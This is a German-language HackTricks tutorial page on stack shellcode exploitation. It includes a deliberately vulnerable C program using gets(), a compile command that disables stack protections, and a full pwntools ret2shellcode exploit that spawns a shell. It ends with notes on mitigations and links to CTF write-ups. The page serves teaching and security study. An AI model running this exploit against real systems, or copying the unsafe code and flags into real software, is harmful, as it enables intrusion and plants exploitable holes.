mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
90 lines
5.1 KiB
Markdown
90 lines
5.1 KiB
Markdown
# Stack Shellcode
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Grundlegende Informationen
|
|
|
|
**Stack shellcode** ist eine Technik, die bei der binären Ausnutzung verwendet wird, bei der ein Angreifer Shellcode auf den Stack eines verwundbaren Programms schreibt und dann den **Instruction Pointer (IP)** oder **Extended Instruction Pointer (EIP)** so ändert, dass er auf den Speicherort dieses Shellcodes zeigt, was dessen Ausführung zur Folge hat. Dies ist eine klassische Methode, um unbefugten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Hier ist eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie Sie einen entsprechenden Exploit mit Python und **pwntools** schreiben könnten.
|
|
|
|
### C-Beispiel: Ein verwundbares Programm
|
|
|
|
Lassen Sie uns mit einem einfachen Beispiel eines verwundbaren C-Programms beginnen:
|
|
```c
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
void vulnerable_function() {
|
|
char buffer[64];
|
|
gets(buffer); // Unsafe function that does not check for buffer overflow
|
|
}
|
|
|
|
int main() {
|
|
vulnerable_function();
|
|
printf("Returned safely\n");
|
|
return 0;
|
|
}
|
|
```
|
|
Dieses Programm ist anfällig für einen Pufferüberlauf aufgrund der Verwendung der `gets()`-Funktion.
|
|
|
|
### Kompilierung
|
|
|
|
Um dieses Programm zu kompilieren und dabei verschiedene Schutzmaßnahmen zu deaktivieren (um eine anfällige Umgebung zu simulieren), können Sie den folgenden Befehl verwenden:
|
|
```sh
|
|
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
|
```
|
|
- `-fno-stack-protector`: Deaktiviert den Stack-Schutz.
|
|
- `-z execstack`: Macht den Stack ausführbar, was notwendig ist, um Shellcode, der im Stack gespeichert ist, auszuführen.
|
|
- `-no-pie`: Deaktiviert Position Independent Executable, was es einfacher macht, die Speicheradresse vorherzusagen, an der sich unser Shellcode befinden wird.
|
|
- `-m32`: Kompiliert das Programm als 32-Bit ausführbare Datei, oft zur Vereinfachung in der Exploit-Entwicklung.
|
|
|
|
### Python Exploit mit Pwntools
|
|
|
|
Hier ist, wie Sie einen Exploit in Python mit **pwntools** schreiben könnten, um einen **ret2shellcode**-Angriff durchzuführen:
|
|
```python
|
|
from pwn import *
|
|
|
|
# Set up the process and context
|
|
binary_path = './vulnerable'
|
|
p = process(binary_path)
|
|
context.binary = binary_path
|
|
context.arch = 'i386' # Specify the architecture
|
|
|
|
# Generate the shellcode
|
|
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
|
|
|
|
# Find the offset to EIP
|
|
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
|
|
|
|
# Prepare the payload
|
|
# The NOP slide helps to ensure that the execution flow hits the shellcode.
|
|
nop_slide = asm('nop') * (offset - len(shellcode))
|
|
payload = nop_slide + shellcode
|
|
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
|
|
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
|
|
|
# Send the payload
|
|
p.sendline(payload)
|
|
p.interactive()
|
|
```
|
|
Dieses Skript erstellt eine Payload, die aus einem **NOP-Slide**, dem **Shellcode** und dann einer Überschreibung des **EIP** mit der Adresse besteht, die auf den NOP-Slide zeigt, um sicherzustellen, dass der Shellcode ausgeführt wird.
|
|
|
|
Der **NOP-Slide** (`asm('nop')`) wird verwendet, um die Wahrscheinlichkeit zu erhöhen, dass die Ausführung in unseren Shellcode "gleitet", unabhängig von der genauen Adresse. Passen Sie das `p32()`-Argument an die Startadresse Ihres Buffers plus einen Offset an, um im NOP-Slide zu landen.
|
|
|
|
## Schutzmaßnahmen
|
|
|
|
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **sollte deaktiviert** sein, damit die Adresse über mehrere Ausführungen hinweg zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, wird nicht immer gleich sein, und Sie benötigen einen Leak, um herauszufinden, wo die Gewinnfunktion geladen ist.
|
|
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) sollten ebenfalls deaktiviert werden, oder die kompromittierte EIP-Rückgabeadresse wird niemals gefolgt.
|
|
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **Stack**-Schutz würde die Ausführung des Shellcodes im Stack verhindern, da dieser Bereich nicht ausführbar ist.
|
|
|
|
## Weitere Beispiele & Referenzen
|
|
|
|
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
|
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
|
- 64-Bit, ASLR mit Stack-Adress-Leak, Shellcode schreiben und zu ihm springen
|
|
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
|
- 32-Bit, ASLR mit Stack-Leak, Shellcode schreiben und zu ihm springen
|
|
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
|
- 32-Bit, ASLR mit Stack-Leak, Vergleich zur Verhinderung des Aufrufs von exit(), Variable mit einem Wert überschreiben und Shellcode schreiben und zu ihm springen
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|